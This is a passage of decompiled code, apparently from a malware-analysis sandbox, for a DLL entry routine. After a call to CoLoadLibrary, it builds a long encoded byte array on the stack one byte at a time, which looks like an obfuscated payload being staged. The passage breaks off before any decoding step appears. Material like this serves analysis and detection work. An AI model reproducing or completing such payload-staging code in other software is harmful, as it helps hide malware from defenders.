				char _v1948;
				char _v1949;
				char _v1950;
				char _v1951;
				char _v1952;
				char _v1953;
				char _v1954;
				char _v1955;
				char _v1956;
				char _v1957;
				char _v1958;
				char _v1959;
				char _v1960;
				char _v1961;
				char _v1962;
				char _v1963;
				char _v1964;
				char _v1965;
				char _v1966;
				char _v1967;
				char _v1968;
				char _v1969;
				char _v1970;
				char _v1971;
				char _v1972;
				char _v1973;
				char _v1974;
				char _v1975;
				char _v1976;
				intOrPtr _v1977;
				char _v1978;
				char _v1979;
				char _v1980;
				char _v1981;
				char _v1982;
				char _v1983;
				char _v1984;
				char _v1985;
				char _v1986;
				char _v1987;
				char _v1988;
				char _v1989;
				char _v1990;
				char _v1991;
				char _v1992;
				char _v1993;
				char _v1994;
				char _v1995;
				char _v1996;
				char _v1997;
				char _v1998;
				char _v1999;
				char _v2000;
				char _v2001;
				char _v2002;
				char _v2003;
				char _v2004;
				char _v2005;
				char _v2006;
				char _v2007;
				char _v2008;
				char _v2009;
				char _v2010;
				char _v2011;
				char _v2012;
				char _v2013;
				char _v2014;
				char _v2015;
				char _v2016;
				char _v2017;
				char _v2018;
				char _v2019;
				char _v2020;
				char _v2021;
				char _v2022;
				char _v2023;
				char _v2024;
				char _v2025;
				char _v2026;
				char _v2027;
				char _v2028;
				char _v2029;
				char _v2030;
				char _v2031;
				char _v2032;
				char _v2033;
				char _v2034;
				char _v2035;
				char _v2036;
				char _v2037;
				char _v2038;
				char _v2039;
				char _v2040;
				char _v2041;
				char _v2042;
				char _v2043;
				char _v2044;
				char _v2045;
				char _v2046;
				char _v2047;
				char _v2048;
				char _v2049;
				char _v2050;
				char _v2051;
				char _v2052;
				char _v2053;
				char _v2054;
				char _v2055;
				char _v2056;
				char _v2057;
				char _v2058;
				char _v2059;
				char _v2060;
				char _v2061;
				char _v2062;
				char _v2063;
				char _v2064;
				char _v2065;
				char _v2066;
				char _v2067;
				char _v2068;
				char _v2069;
				char _v2070;
				char _v2071;
				char _v2072;
				char _v2073;
				char _v2074;
				char _v2075;
				char _v2076;
				char _v2077;
				char _v2078;
				char _v2079;
				char _v2080;
				char _v2081;
				char _v2082;
				char _v2083;
				char _v2084;
				char _v2085;
				char _v2086;
				char _v2087;
				char _v2088;
				char _v2089;
				char _v2090;
				char _v2091;
				char _v2092;
				char _v2093;
				char _v2094;
				char _v2095;
				char _v2096;
				char _v2097;
				char _v2098;
				char _v2099;
				char _v2100;
				char _v2101;
				char _v2102;
				char _v2103;
				char _v2104;
				char _v2105;
				char _v2106;
				char _v2107;
				char _v2108;
				char _v2109;
				char _v2110;
				char _v2111;
				char _v2112;
				char _v2113;
				char _v2114;
				char _v2115;
				char _v2116;
				char _v2117;
				char _v2118;
				char _v2119;
				char _v2120;
				char _v2121;
				char _v2122;
				char _v2123;
				char _v2124;
				char _v2125;
				char _v2126;
				char _v2127;
				char _v2128;
				char _v2129;
				char _v2130;
				char _v2131;
				char _v2132;
				char _v2133;
				char _v2134;
				char _v2135;
				char _v2136;
				char _v2137;
				char _v2138;
				char _v2139;
				char _v2140;
				char _v2141;
				char _v2142;
				char _v2143;
				char _v2144;
				char _v2145;
				char _v2146;
				char _v2147;
				char _v2148;
				char _v2149;
				char _v2150;
				char _v2151;
				char _v2152;
				char _v2153;
				char _v2154;
				char _v2155;
				char _v2156;
				char _v2157;
				char _v2158;
				char _v2159;
				char _v2160;
				char _v2161;
				char _v2162;
				char _v2163;
				char _v2164;
				char _v2165;
				char _v2166;
				char _v2167;
				char _v2168;
				char _v2169;
				char _v2170;
				char _v2171;
				char _v2172;
				char _v2173;
				char _v2174;
				char _v2175;
				char _v2176;
				char _v2177;
				char _v2178;
				char _v2179;
				char _v2180;
				char _v2181;
				char _v2182;
				char _v2183;
				char _v2184;
				char _v2185;
				char _v2186;
				intOrPtr _v2187;
				char _v2188;
				char _v2189;
				char _v2190;
				intOrPtr _v2191;
				char _v2192;
				char _v2193;
				char _v2194;
				char _v2195;
				char _v2196;
				char _v2197;
				char _v2198;
				char _v2199;
				char _v2200;
				char _v2201;
				char _v2202;
				char _v2203;
				char _v2204;
				char _v2205;
				char _v2206;
				char _v2207;
				char _v2208;
				char _v2209;
				char _v2210;
				char _v2211;
				char _v2212;
				char _v2213;
				char _v2214;
				char _v2215;
				char _v2216;
				char _v2217;
				char _v2218;
				char _v2219;
				char _v2220;
				char _v2221;
				char _v2222;
				char _v2223;
				char _v2224;
				char _v2225;
				char _v2226;
				char _v2227;
				char _v2228;
				char _v2229;
				char _v2230;
				char _v2231;
				char _v2232;
				char _v2233;
				char _v2234;
				char _v2235;
				char _v2236;
				char _v2237;
				char _v2238;
				char _v2239;
				char _v2240;
				char _v2241;
				char _v2242;
				char _v2243;
				char _v2244;
				char _v2245;
				char _v2246;
				char _v2247;
				char _v2248;
				char _v2249;
				char _v2250;
				char _v2251;
				char _v2252;
				char _v2253;
				char _v2254;
				char _v2255;
				char _v2256;
				char _v2257;
				char _v2258;
				char _v2259;
				char _v2260;
				char _v2261;
				char _v2262;
				char _v2263;
				char _v2264;
				char _v2265;
				char _v2266;
				char _v2267;
				char _v2268;
				char _v2269;
				char _v2270;
				char _v2271;
				char _v2272;
				char _v2273;
				char _v2274;
				char _v2275;
				char _v2276;
				char _v2277;
				char _v2278;
				char _v2279;
				char _v2280;
				char _v2281;
				char _v2282;
				char _v2283;
				char _v2284;
				char _v2285;
				char _v2286;
				char _v2287;
				char _v2288;
				char _v2289;
				char _v2290;
				char _v2291;
				char _v2292;
				char _v2293;
				char _v2294;
				char _v2295;
				char _v2296;
				char _v2297;
				char _v2298;
				char _v2299;
				char _v2300;
				char _v2301;
				char _v2302;
				char _v2303;
				char _v2304;
				char _v2305;
				char _v2306;
				char _v2307;
				char _v2308;
				char _v2309;
				char _v2310;
				char _v2311;
				char _v2312;
				char _v2313;
				char _v2314;
				char _v2315;
				char _v2316;
				char _v2317;
				char _v2318;
				char _v2319;
				char _v2320;
				char _v2321;
				char _v2322;
				char _v2323;
				char _v2324;
				char _v2325;
				char _v2326;
				char _v2327;
				char _v2328;
				char _v2329;
				char _v2330;
				char _v2331;
				char _v2332;
				char _v2333;
				char _v2334;
				char _v2335;
				char _v2336;
				char _v2337;
				char _v2338;
				char _v2339;
				char _v2340;
				char _v2341;
				char _v2342;
				char _v2343;
				char _v2344;
				char _v2345;
				char _v2346;
				char _v2347;
				char _v2348;
				char _v2349;
				char _v2350;
				char _v2351;
				char _v2352;
				char _v2353;
				char _v2354;
				char _v2355;
				char _v2356;
				char _v2357;
				char _v2358;
				char _v2359;
				char _v2360;
				char _v2361;
				char _v2362;
				char _v2363;
				char _v2364;
				char _v2365;
				char _v2366;
				char _v2367;
				char _v2368;
				char _v2369;
				char _v2370;
				char _v2371;
				char _v2372;
				intOrPtr _v2373;
				char _v2374;
				char _v2375;
				char _v2376;
				char _v2377;
				char _v2378;
				char _v2379;
				char _v2380;
				char _v2381;
				char _v2382;
				char _v2383;
				char _v2384;
				char _v2385;
				char _v2386;
				char _v2387;
				char _v2388;
				char _v2389;
				char _v2390;
				char _v2391;
				char _v2392;
				char _v2393;
				char _v2394;
				char _v2395;
				char _v2396;
				char _v2397;
				char _v2398;
				char _v2399;
				char _v2400;
				char _v2401;
				char _v2402;
				intOrPtr _v2403;
				char _v2404;
				char _v2405;
				char _v2406;
				char _v2407;
				char _v2408;
				char _v2409;
				char _v2410;
				char _v2411;
				char _v2412;
				char _v2413;
				char _v2414;
				char _v2415;
				char _v2416;
				char _v2417;
				char _v2418;
				char _v2419;
				char _v2420;
				char _v2421;
				char _v2422;
				char _v2423;
				char _v2424;
				char _v2425;
				char _v2426;
				char _v2427;
				char _v2428;
				char _v2429;
				char _v2430;
				char _v2431;
				char _v2432;
				char _v2433;
				char _v2434;
				char _v2435;
				char _v2436;
				char _v2437;
				char _v2438;
				char _v2439;
				char _v2440;
				char _v2441;
				char _v2442;
				char _v2443;
				char _v2444;
				char _v2445;
				char _v2446;
				char _v2447;
				char _v2448;
				char _v2449;
				char _v2450;
				char _v2451;
				char _v2452;
				char _v2453;
				char _v2454;
				char _v2455;
				char _v2456;
				char _v2457;
				char _v2458;
				char _v2459;
				char _v2460;
				char _v2461;
				intOrPtr _v2462;
				char _v2463;
				char _v2464;
				char _v2465;
				char _v2466;
				char _v2467;
				char _v2468;
				char _v2469;
				char _v2470;
				char _v2471;
				char _v2472;
				char _v2473;
				char _v2474;
				char _v2475;
				char _v2476;
				char _v2477;
				char _v2478;
				char _v2479;
				char _v2480;
				char _v2481;
				char _v2482;
				char _v2483;
				char _v2484;
				char _v2485;
				char _v2486;
				char _v2487;
				char _v2488;
				char _v2489;
				char _v2490;
				char _v2491;
				char _v2492;
				char _v2493;
				char _v2494;
				char _v2495;
				char _v2496;
				char _v2497;
				char _v2498;
				char _v2499;
				char _v2500;
				char _v2501;
				intOrPtr _v2502;
				char _v2503;
				char _v2504;
				char _v2505;
				char _v2506;
				char _v2507;
				char _v2508;
				char _v2509;
				char _v2510;
				char _v2511;
				char _v2512;
				char _v2513;
				char _v2514;
				char _v2515;
				char _v2516;
				char _v2517;
				char _v2518;
				char _v2519;
				char _v2520;
				char _v2521;
				char _v2522;
				char _v2523;
				char _v2524;
				char _v2525;
				char _v2526;
				char _v2527;
				char _v2528;
				char _v2529;
				char _v2530;
				char _v2531;
				char _v2532;
				char _v2533;
				char _v2534;
				char _v2535;
				char _v2536;
				char _v2537;
				char _v2538;
				char _v2539;
				char _v2540;
				char _v2541;
				char _v2542;
				char _v2543;
				char _v2544;
				char _v2545;
				char _v2546;
				char _v2547;
				char _v2548;
				char _v2549;
				char _v2550;
				char _v2551;
				char _v2552;
				char _v2553;
				char _v2554;
				char _v2555;
				char _v2556;
				char _v2557;
				char _v2558;
				char _v2559;
				char _v2560;
				char _v2561;
				char _v2562;
				char _v2563;
				char _v2564;
				char _v2565;
				char _v2566;
				char _v2567;
				char _v2568;
				char _v2569;
				char _v2570;
				char _v2571;
				char _v2572;
				char _v2573;
				char _v2574;
				char _v2575;
				char _v2576;
				char _v2577;
				char _v2578;
				char _v2579;
				char _v2580;
				char _v2581;
				char _v2582;
				char _v2583;
				char _v2584;
				char _v2585;
				char _v2586;
				char _v2587;
				char _v2588;
				char _v2589;
				char _v2590;
				char _v2591;
				char _v2592;
				char _v2593;
				char _v2594;
				char _v2595;
				char _v2596;
				char _v2597;
				char _v2598;
				char _v2599;
				char _v2600;
				char _v2601;
				char _v2602;
				char _v2603;
				char _v2604;
				char _v2605;
				char _v2606;
				char _v2607;
				char _v2608;
				char _v2609;
				char _v2610;
				char _v2611;
				char _v2612;
				char _v2613;
				char _v2614;
				char _v2615;
				char _v2616;
				char _v2617;
				char _v2618;
				char _v2619;
				char _v2620;
				char _v2621;
				char _v2622;
				char _v2623;
				char _v2624;
				char _v2625;
				char _v2626;
				char _v2627;
				char _v2628;
				char _v2629;
				char _v2630;
				char _v2631;
				char _v2632;
				char _v2633;
				char _v2634;
				char _v2635;
				char _v2636;
				char _v2637;
				intOrPtr _v2638;
				char _v2639;
				char _v2640;
				char _v2641;
				char _v2642;
				char _v2643;
				char _v2644;
				char _v2645;
				char _v2646;
				char _v2647;
				char _v2648;
				long long _v2656;
				long long _v2664;
				intOrPtr _v2680;
				char _v2688;
				long long _v2696;
				long long _v2704;
				intOrPtr _v2720;
				char _v2728;
				char _v2736;
				char _v2744;
				void* _t2637;
				signed int _t2643;
				signed int _t2644;
				void* _t2645;
				void* _t2651;
				void* _t2654;
				signed long long _t2658;
				signed long long _t2659;
				char* _t2675;
				long long _t2676;
				long long _t2677;
				signed long long _t2678;
				intOrPtr _t2680;

				_t2681 = __r9;
				_t2654 = __esp;
				_t2653 = __ebp;
				_t2651 = __edi;
				_t2643 = __ebx;
				_t2658 =  *0x100b1640; // 0xf93099fb11e7
				_t2659 = _t2658 ^ _t2678;
				_v40 = _t2659;
				_t2676 = __rcx;
				if(__edx == 1) {
					_v2744 = 0;
					__imp__CoLoadLibrary(); // executed
					if(_t2659 != _t2677) {
						_v2648 = 0x17;
						_v2647 = 0xd7;
						_v2646 = 0x2d;
						_v2645 = 0x69;
						_v2644 = 0x5e;
						_v2643 = 0xb;
						_v2642 = 0x64;
						_v2641 = 0x2e;
						_v2640 = 0x74;
						_v2639 = 6;
						_v2638 = sil;
						_v2637 = 0x6b;
						_v2636 = 0x33;
						_v2635 = 0x69;
						_v2634 = 0x22;
						_v2633 = 0x37;
						_v2632 = 0x13;
						_v2631 = 0xf;
						_v2630 = 0xec;
						_v2629 = 0x2f;
						_v2628 = 0x24;
						_v2627 = 0xf7;
						_v2626 = 0x16;
						_v2625 = 0xe0;
						_v2624 = 0xa1;
						_v2623 = 0xe;
						_v2622 = 0x5f;
						_v2621 = 0x37;
						_v2620 = 0x78;
						_v2619 = 0x66;
						_v2618 = 0x74;
						_v2617 = 0xb0;
						_v2616 = 0xed;
						_v2615 = 0x23;
						_v2614 = 0x90;
						_v2613 = 0x1f;
						_v2612 = 0x76;
						_v2611 = 0x21;
						_v2610 = 0x47;
						_v2609 = 0x29;
						_v2608 = 0xc8;
						_v2607 = 0xf1;
						_v2606 = 0x13;
						_v2605 = 0xd7;
						_v2604 = 4;
						_v2603 = 0xad;
						_v2602 = 0xef;
						_v2601 = 0x4d;
						_v2600 = 0xab;
						_v2599 = 0xc7;
						_v2598 = 0x9e;
						_v2597 = 0xb;
						_v2596 = 0xdd;
						_v2595 = 0x4f;
						_v2594 = 0xd6;
						_v2593 = 0x64;
						_v2592 = 0xfd;
						_v2591 = 0x13;
						_v2590 = 0xb4;
						_v2589 = 2;
						_v2588 = 0xec;
						_v2587 = 0xf;
						_v2586 = 0x24;
						_v2585 = 0x3a;
						_v2584 = 0x12;
						_v2583 = 0xe8;
						_v2582 = 0x28;
						_v2581 = 0xae;
						_v2580 = 0x1a;
						_v2579 = 0xbf;
						_v2578 = 0x35;
						_v2577 = 0x8f;
						_v2576 = 3;
						_v2575 = 0xdc;
						_v2574 = 0x67;
						_v2573 = 0xf4;
						_v2572 = 0x64;
						_v2571 = 0xfd;
						_v2570 = 0x13;
						_v2569 = 0xac;
						_v2568 = 0xb;
						_v2567 = 0xe8;
						_v2566 = 0x26;
						_v2565 = 0xd0;
						_v2564 = 0x13;
						_v2563 = 0xd7;
						_v2562 = 4;
						_v2561 = 0x45;
						_v2560 = 0x12;
						_v2559 = 0xd7;
						_v2558 = 0x52;
						_v2557 = 0x6c;
						_v2556 = 0x67;
						_v2555 = 0xce;
						_v2554 = 0x30;
						_v2553 = 0xe;
						_v2552 = 0x42;
						_v2551 = 0xef;
						_v2550 = 0x31;
						_v2549 = 0xca;
						_v2548 = 0x36;
						_v2547 = 0x47;
						_v2546 = 0xf;
						_v2545 = 0x43;
						_v2544 = 0xc7;
						_v2543 = 0x1a;
						_v2542 = 0x9e;
						_v2541 = 4;
						_v2540 = 0x4d;
						_v2539 = 0x3a;
						_v2538 = 0x5e;
						_v2537 = 0xf0;
						_v2536 = 0x3d;
						_v2535 = 0xe7;
						_v2534 = 0x74;
						_v2533 = 0x54;
						_v2532 = 0x18;
						_v2531 = 0x66;
						_v2530 = 0xef;
						_v2529 = 0x31;
						_v2528 = 0xbe;
						_v2527 = 0x6a;
						_v2526 = 0x47;
						_v2525 = 5;
						_v2524 = 0x43;
						_v2523 = 0xc7;
						_v2522 = 0x1a;
						_v2521 = 0x92;
						_v2520 = 0xd;
						_v2519 = 0x4d;
						_v2518 = 0x3a;
						_v2517 = 0x5e;
						_v2516 = 0xf0;
						_v2515 = 0xfd;
						_v2514 = 0x9b;
						_v2513 = 0x47;
						_v2512 = 0x54;
						_v2511 = 0x2a;
						_v2510 = 0x35;
						_v2509 = 0x44;
						_v2508 = 0x11;
						_v2507 = 0x13;
						_v2506 = 0x82;
						_v2505 = 0xc2;
						_v2504 = 0xdd;
						_v2503 = 0x43;
						_v2502 = sil;
						_v2501 = 0x5f;
						_v2500 = 0x2e;
						_v2499 = 0xa6;
						_v2498 = 9;
						_v2497 = 0x72;
						_v2496 = 0x16;
						_v2495 = 0x7b;
						_v2494 = 0x17;
						_v2493 = 0x42;
						_v2492 = 0x23;
						_v2491 = 0x93;
						_v2490 = 0x6e;
						_v2489 = 0x42;
						_v2488 = 0x64;
						_v2487 = 0x38;
						_v2486 = 0x1f;
						_v2485 = 0x26;
						_v2484 = 0x35;
						_v2483 = 0xa6;
						_v2482 = 7;
						_v2481 = 0x24;
						_v2480 = 0xf;
						_v2479 = 0x3f;
						_v2478 = 0x13;
						_v2477 = 0x34;
						_v2476 = 0x17;
						_v2475 = 0x99;
						_v2474 = 0x73;
						_v2473 = 0x5c;
						_v2472 = 0x1b;
						_v2471 = 0x11;
						_v2470 = 0x3d;
						_v2469 = 0x58;
						_v2468 = 0x12;
						_v2467 = 0xef;
						_v2466 = 0x30;
						_v2465 = 0x52;
						_v2464 = 0x78;
						_v2463 = 0x32;
						_v2462 = sil;
						_v2461 = 0x2f;
						_v2460 = 0x41;
						_v2459 = 0x98;
						_v2458 = 0x1a;
						_v2457 = 0x45;
						_v2456 = 0xd;
						_v2455 = 0x3a;
						_v2454 = 0x32;
						_v2453 = 0x58;
						_v2452 = 0x1b;
						_v2451 = 0xe4;
						_v2450 = 3;
						_v2449 = 0x70;
						_v2448 = 0x72;
						_v2447 = 0x30;
						_v2446 = 0x41;
						_v2445 = 6;
						_v2444 = 2;
						_v2443 = 0x83;
						_v2442 = 3;
						_v2441 = 0x45;
						_v2440 = 0x1f;
						_v2439 = 0x75;
						_v2438 = 0x3e;
						_v2437 = 0x32;
						_v2436 = 0x31;
						_v2435 = 0x8a;
						_v2434 = 0x12;
						_v2433 = 0x7a;
						_v2432 = 0x57;
						_v2431 = 0xa;
						_v2430 = 0x4c;
						_v2429 = 0x33;
						_v2428 = 0x31;
						_v2427 = 0x4c;
						_v2426 = 0xa1;
						_v2425 = 0x6c;
						_v2424 = 0x50;
						_v2423 = 0x12;
						_v2422 = 0x27;
						_v2421 = 0x33;
						_v2420 = 0xa6;
						_v2419 = 6;
						_v2418 = 0x98;
						_v2417 = 0x19;
						_v2416 = 0x32;
						_v2415 = 0x14;
						_v2414 = 0x3e;
						_v2413 = 0x91;
						_v2412 = 0x1b;
						_v2411 = 0xab;
						_v2410 = 0x10;
						_v2409 = 0x6a;
						_v2408 = 0x29;
						_v2407 = 0x27;
						_v2406 = 0xed;
						_v2405 = 0x23;
						_v2404 = 0x88;
						_v2403 = sil;
						_v2402 = 4;
						_v2401 = 0x31;
						_v2400 = 0x24;
						_v2399 = 0xa6;
						_v2398 = 6;
						_v2397 = 0xa4;
						_v2396 = 0x2b;
						_v2395 = 0x37;
						_v2394 = 0xe;
						_v2393 = 0x23;
						_v2392 = 0x91;
						_v2391 = 0x1b;
						_v2390 = 0x9f;
						_v2389 = 0x3b;
						_v2388 = 0x42;
						_v2387 = 0x24;
						_v2386 = 0x3c;
						_v2385 = 0xed;
						_v2384 = 0x22;
						_v2383 = 0xc;
						_v2382 = 0x1c;
						_v2381 = 0x31;
						_v2380 = 0x21;
						_v2379 = 0x33;
						_v2378 = 0x2f;
						_v2377 = 0x84;
						_v2376 = 0x44;
						_v2375 = 0x7b;
						_v2374 = 0x32;
						_v2373 = sil;
						_v2372 = 0x39;
						_v2371 = 0x3f;
						_v2370 = 0x28;
						_v2369 = 0xf0;
						_v2368 = 0x3c;
						_v2367 = 7;
						_v2366 = 0x37;
						_v2365 = 0x31;
						_v2364 = 0x79;
						_v2363 = 0x1f;
						_v2362 = 0x5b;
						_v2361 = 0xb3;
						_v2360 = 0x32;
						_v2359 = 0x60;
						_v2358 = 0x33;
						_v2357 = 0x15;
						_v2356 = 0x26;
						_v2355 = 0x6d;
						_v2354 = 0x16;
						_v2353 = 0x38;
						_v2352 = 0xa6;
						_v2351 = 9;
						_v2350 = 0x72;
						_v2349 = 0x26;
						_v2348 = 0x59;
						_v2347 = 0x1e;
						_v2346 = 0xe5;
						_v2345 = 3;
						_v2344 = 0x70;
						_v2343 = 0x50;
						_v2342 = 9;
						_v2341 = 0xef;
						_v2340 = 0x31;
						_v2339 = 0xf6;
						_v2338 = 0x16;
						_v2337 = 0x33;
						_v2336 = 0xd;
						_v2335 = 2;
						_v2334 = 0xc7;
						_v2333 = 0x1a;
						_v2332 = 0xda;
						_v2331 = 5;
						_v2330 = 0x29;
						_v2329 = 0x10;
						_v2328 = 0x2b;
						_v2327 = 0xf0;
						_v2326 = 0x3d;
						_v2325 = 0xab;
						_v2324 = 0x29;
						_v2323 = 0x37;
						_v2322 = 0x5e;
						_v2321 = 0xf;
						_v2320 = 0xef;
						_v2319 = 0x31;
						_v2318 = 0xfa;
						_v2317 = 0x2b;
						_v2316 = 0x29;
						_v2315 = 0x35;
						_v2314 = 0x22;
						_v2313 = 0x66;
						_v2312 = 0x98;
						_v2311 = 0x1b;
						_v2310 = 0xf1;
						_v2309 = 0x2f;
						_v2308 = 0x3a;
						_v2307 = 0xb6;
						_v2306 = 0xf5;
						_v2305 = 0x7f;
						_v2304 = 0x23;
						_v2303 = 0x47;
						_v2302 = 0xed;
						_v2301 = 0x9f;
						_v2300 = 0x27;
						_v2299 = 0xf1;
						_v2298 = 0x2a;
						_v2297 = 0x3e;
						_v2296 = 0xcf;
						_v2295 = 0x9f;
						_v2294 = 0x89;
						_v2293 = 0xf6;
						_v2292 = 7;
						_v2291 = 0x5f;
						_v2290 = 0x5e;
						_v2289 = 0x2d;
						_v2288 = 0xc6;
						_v2287 = 0xbe;
						_v2286 = 0x16;
						_v2285 = 0xbe;
						_v2284 = 0x3d;
						_v2283 = 0xfb;
						_v2282 = 0xf;
						_v2281 = 0xd9;
						_v2280 = 0x6f;
						_v2279 = 0xde;
						_v2278 = 0xef;
						_v2277 = 0x31;
						_v2276 = 0x66;
						_v2275 = 0x5c;
						_v2274 = 0x47;
						_v2273 = 0x79;
						_v2272 = 0x43;
						_v2271 = 0x4c;
						_v2270 = 0xd2;
						_v2269 = 0x12;
						_v2268 = 0x45;
						_v2267 = 0x7d;
						_v2266 = 0x1e;
						_v2265 = 0xd7;
						_v2264 = 0x72;
						_v2263 = 0x60;
						_v2262 = 0x6f;
						_v2261 = 0xca;
						_v2260 = 0x11;
						_v2259 = 0x3a;
						_v2258 = 0x55;
						_v2257 = 0xfa;
						_v2256 = 0x47;
						_v2255 = 0xbf;
						_v2254 = 0xbb;
						_v2253 = 0x94;
						_v2252 = 0x29;
						_v2251 = 0xc8;
						_v2250 = 0x4c;
						_v2249 = 0x7b;
						_v2248 = 0x6e;
						_v2247 = 0x29;
						_v2246 = 0xc0;
						_v2245 = 0x12;
						_v2244 = 0x7a;
						_v2243 = 0xf;
						_v2242 = 0x3d;
						_v2241 = 0x10;
						_v2240 = 0x87;
						_v2239 = 0x1c;
						_v2238 = 0xa3;
						_v2237 = 0x22;
						_v2236 = 0xc;
						_v2235 = 0x5c;
						_v2234 = 0x3a;
						_v2233 = 0xc9;
						_v2232 = 0xa;
						_v2231 = 0xd1;
						_v2230 = 0x84;
						_v2229 = 0x44;
						_v2228 = 0x7b;
						_v2227 = 0x7e;
						_v2226 = 0x6d;
						_v2225 = 0x4d;
						_v2224 = 0x5a;
						_v2223 = 0x5e;
						_v2222 = 0x7f;
						_v2221 = 0xf5;
						_v2220 = 0x77;
						_v2219 = 0x63;
						_v2218 = 0x74;
						_v2217 = 0x6b;
						_v2216 = 0x99;
						_v2215 = 0xfd;
						_v2214 = 0x3c;
						_v2213 = 0xfd;
						_v2212 = 8;
						_v2211 = 0x63;
						_v2210 = 0x51;
						_v2209 = 0xb;
						_v2208 = 0x8d;
						_v2207 = 0x1b;
						_v2206 = 0x7a;
						_v2205 = 0x39;
						_v2204 = 8;
						_v2203 = 0x65;
						_v2202 = 0x9e;
						_v2201 = 0x7f;
						_v2200 = 0xf1;
						_v2199 = 0x67;
						_v2198 = 0x63;
						_v2197 = 0x7c;
						_v2196 = 0x66;
						_v2195 = 0xeb;
						_v2194 = 0x65;
						_v2193 = 0x9c;
						_v2192 = 0xb1;
						_v2191 = sil;
						_v2190 = 0x63;
						_v2189 = 0x41;
						_v2188 = 0x4d;
						_v2187 = sil;
						_v2186 = 0x51;
						_v2185 = 0x5e;
						_v2184 = 0x29;
						_v2183 = 0xc0;
						_v2182 = 2;
						_v2181 = 0x7a;
						_v2180 = 0x17;
						_v2179 = 0x39;
						_v2178 = 0xdc;
						_v2177 = 0x92;
						_v2176 = 0x1c;
						_v2175 = 0xa7;
						_v2174 = 0x23;
						_v2173 = 0xb0;
						_v2172 = 0xb3;
						_v2171 = 0x32;
						_v2170 = 0x60;
						_v2169 = 0x67;
						_v2168 = 0x74;
						_v2167 = 0x43;
						_v2166 = 0x15;
						_v2165 = 0x5f;
						_v2164 = 0x16;
						_v2163 = 0xea;
						_v2162 = 1;
						_v2161 = 0x72;
						_v2160 = 0x6e;
						_v2159 = 0x7b;
						_v2158 = 0xf5;
						_v2157 = 0x6e;
						_v2156 = 0xb7;
						_v2155 = 0x11;
						_v2154 = 0x19;
						_v2153 = 0xa6;
						_v2152 = 0x60;
						_v2151 = 0xfd;
						_v2150 = 0x32;
						_v2149 = 0x60;
						_v2148 = 0x6f;
						_v2147 = 0x29;
						_v2146 = 0xce;
						_v2145 = 0x54;
						_v2144 = 0x7b;
						_v2143 = 0x7e;
						_v2142 = 0x20;
						_v2141 = 0xb2;
						_v2140 = 0x83;
						_v2139 = 0x16;
						_v2138 = 0xbc;
						_v2137 = 0x34;
						_v2136 = 7;
						_v2135 = 0x77;
						_v2134 = 0x1c;
						_v2133 = 0xa7;
						_v2132 = 0x22;
						_v2131 = 0xc;
						_v2130 = 0x1c;
						_v2129 = 0x33;
						_v2128 = 0x77;
						_v2127 = 0x87;
						_v2126 = 0x29;
						_v2125 = 0xca;
						_v2124 = 0x44;
						_v2123 = 0x7b;
						_v2122 = 0x76;
						_v2121 = 0x2d;
						_v2120 = 0xc0;
						_v2119 = 0x1b;
						_v2118 = 0xa6;
						_v2117 = 0xf0;
						_v2116 = 0x3c;
						_v2115 = 7;
						_v2114 = 0x67;
						_v2113 = 0x47;
						_v2112 = 0x2a;
						_v2111 = 0x75;
						_v2110 = 0x28;
						_v2109 = 0x3c;
						_v2108 = 0xfb;
						_v2107 = 0x10;
						_v2106 = 0x63;
						_v2105 = 0x41;
						_v2104 = 2;
						_v2103 = 0xff;
						_v2102 = 0x8a;
						_v2101 = 0x16;
						_v2100 = 0xea;
						_v2099 = 1;
						_v2098 = 0x72;
						_v2097 = 0x6e;
						_v2096 = 0x7f;
						_v2095 = 0xf5;
						_v2094 = 0xa6;
						_v2093 = 0xff;
						_v2092 = 0x54;
						_v2091 = 0x2a;
						_v2090 = 0x66;
						_v2089 = 0x6d;
						_v2088 = 0x47;
						_v2087 = 0xb6;
						_v2086 = 0xc;
						_v2085 = 0xce;
						_v2084 = 0x25;
						_v2083 = 0x67;
						_v2082 = 0x28;
						_v2081 = 0x13;
						_v2080 = 0xd3;
						_v2079 = 0x2c;
						_v2078 = 0x9d;
						_v2077 = 0x91;
						_v2076 = 0x1a;
						_v2075 = 0x13;
						_v2074 = 0x58;
						_v2073 = 0x26;
						_v2072 = 0x47;
						_v2071 = 0x51;
						_v2070 = 0x2a;
						_v2069 = 0x2e;
						_v2068 = 0xa5;
						_v2067 = 0x20;
						_v2066 = 0x52;
						_v2065 = 0x64;
						_v2064 = 6;
						_v2063 = 0x9e;
						_v2062 = 0x96;
						_v2061 = 0x48;
						_v2060 = 0xd4;
						_v2059 = 0x12;
						_v2058 = 0x45;
						_v2057 = 0x7d;
						_v2056 = 0x1e;
						_v2055 = 0xd3;
						_v2054 = 0x72;
						_v2053 = 0xf8;
						_v2052 = 0x66;
						_v2051 = 0x74;
						_v2050 = 0x94;
						_v2049 = 0x62;
						_v2048 = 0xef;
						_v2047 = 0x6c;
						_v2046 = 0x50;
						_v2045 = 0x5e;
						_v2044 = 8;
						_v2043 = 0xca;
						_v2042 = 0x2c;
						_v2041 = 0x4b;
						_v2040 = 0xc7;
						_v2039 = 0x1b;
						_v2038 = 0x7a;
						_v2037 = 0x41;
						_v2036 = 0x5e;
						_v2035 = 0x56;
						_v2034 = 0x4d;
						_v2033 = 0x37;
						_v2032 = 0x30;
						_v2031 = 0xae;
						_v2030 = 0x13;
						_v2029 = 0x70;
						_v2028 = 0xa;
						_v2027 = 0x27;
						_v2026 = 0xd7;
						_v2025 = 0xa1;
						_v2024 = 0x3e;
						_v2023 = 0xcf;
						_v2022 = 0xb;
						_v2021 = 0x45;
						_v2020 = 0x73;
						_v2019 = 0x48;
						_v2018 = 0xd2;
						_v2017 = 0x1a;
						_v2016 = 0x45;
						_v2015 = 5;
						_v2014 = 0x13;
						_v2013 = 0x6d;
						_v2012 = 0xf7;
						_v2011 = 0x30;
						_v2010 = 0xaa;
						_v2009 = 3;
						_v2008 = 0x70;
						_v2007 = 2;
						_v2006 = 0x2a;
						_v2005 = 0xa5;
						_v2004 = 0x39;
						_v2003 = 0x96;
						_v2002 = 0x83;
						_v2001 = 3;
						_v2000 = 0x45;
						_v1999 = 0x63;
						_v1998 = 0xc;
						_v1997 = 0x5f;
						_v1996 = 0x52;
						_v1995 = 0x61;
						_v1994 = 5;
						_v1993 = 0xdb;
						_v1992 = 0xa;
						_v1991 = 0x13;
						_v1990 = 0x58;
						_v1989 = 0x62;
						_v1988 = 0xb8;
						_v1987 = 0x81;
						_v1986 = 0x66;
						_v1985 = 0x5f;
						_v1984 = 0x4d;
						_v1983 = 0xc4;
						_v1982 = 0x79;
						_v1981 = 0xc0;
						_v1980 = 0x22;
						_v1979 = 0x67;
						_v1978 = 0x43;
						_v1977 = sil;
						_v1976 = 0x13;
